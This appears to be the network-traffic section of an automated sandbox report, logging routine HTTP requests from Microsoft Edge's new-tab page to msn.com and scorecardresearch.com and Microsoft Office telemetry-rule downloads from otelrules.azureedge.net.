Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=046B7A813FEA6CE42F656FA93E1B6DA8&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=648c067a95644dfaa1ed3c74e4c5bcfd HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=046B7A813FEA6CE42F656FA93E1B6DA8; _EDGE_S=F=1&SID=0CFC3F330DC46CE532902A1B0C1E6DBA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1730285140541&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=046B7A813FEA6CE42F656FA93E1B6DA8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730285140541&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a1b220b492c846b385133100837102c7&activityId=a1b220b492c846b385133100837102c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=046B7A813FEA6CE42F656FA93E1B6DA8; _EDGE_S=F=1&SID=0CFC3F330DC46CE532902A1B0C1E6DBA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730285140541&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=046B7A813FEA6CE42F656FA93E1B6DA8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=162d8141c5e71f08f5da8981730285142; XID=162d8141c5e71f08f5da8981730285142
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730285140541&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a1b220b492c846b385133100837102c7&activityId=a1b220b492c846b385133100837102c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C89EE9D2923D410CB3A098FC302C9485&MUID=046B7A813FEA6CE42F656FA93E1B6DA8 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=046B7A813FEA6CE42F656FA93E1B6DA8; _EDGE_S=F=1&SID=0CFC3F330DC46CE532902A1B0C1E6DBA; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
